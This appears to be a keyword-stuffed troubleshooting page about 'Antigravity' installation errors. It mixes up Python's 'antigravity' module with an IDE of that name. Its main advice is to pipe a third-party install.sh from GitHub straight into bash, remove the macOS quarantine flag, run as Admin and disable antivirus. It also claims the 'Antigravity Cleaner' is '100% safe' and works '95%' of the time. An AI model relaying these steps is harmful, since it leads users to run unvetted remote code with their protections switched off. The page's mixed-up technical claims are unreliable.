Complete Guide 2025 - Windows, Mac, Linux
ERROR: Antigravity installation failed
The installer couldn't complete due to corrupted files or network issues.
ModuleNotFoundError: No module named 'antigravity'
Python environment is corrupted or Antigravity packages are missing.
ERROR: Could not install packages due to an EnvironmentError
Package manager conflicts or permission issues.
ERROR: Dependency conflict detected
Version conflicts between required packages.
HTTP Error 403: Forbidden
Region lock or network restrictions blocking download.
Antigravity setup not responding...
Installer hangs during "Setting up your account" phase.
Common Windows errors:
antigravity install error windows 11, antigravity setup error,
antigravity installer not working
# Install Antigravity Cleaner
curl -sSL https://raw.githubusercontent.com/tawroot/antigravity-cleaner/main/install.sh | bash
# Run cleanup
antigravity-cleaner --clean
# Fix permissions
sudo chmod -R 755 ~/.antigravity
Common Linux errors: antigravity ubuntu install error,
antigravity linux dependency error, permission denied
# Install Antigravity Cleaner
curl -sSL https://raw.githubusercontent.com/tawroot/antigravity-cleaner/main/install.sh | bash
# If Gatekeeper blocks, run:
xattr -d com.apple.quarantine /path/to/AntigravityCleaner
pip install antigravity
ERROR: Could not find a version that satisfies the requirement
pip cache purge && pip install antigravity --no-cache-dir
antigravity environment error
Python version mismatch
Requires Python 3.10+. Check with python --version
antigravity compatibility issue
Version conflict detected
Use Antigravity Cleaner to remove all old versions, then install latest.
Get Antigravity Cleaner from GitHub releases. It's free and portable.
Click "Analyze Now" to detect installation issues. This is 100% safe.
Go to Cleaner tab and click "Quick Clean" to remove old files.
Go to Network tab. Click "Flush DNS" and "Reset Network".
Download Antigravity IDE from official source and install.
Your Antigravity installation error should be fixed.
Download Antigravity Cleaner, run Quick Clean, flush DNS, then reinstall. Works for 95% of installation errors.
Common causes: corrupted cache, network restrictions (403 errors), Python version mismatch, or leftover files from previous installations.
The latest version (2025) may have compatibility issues with older systems. Use Antigravity Cleaner to ensure clean installation.
If installer won't start: 1) Run as Admin, 2) Disable antivirus temporarily, 3) Use Antigravity Cleaner to remove old files first.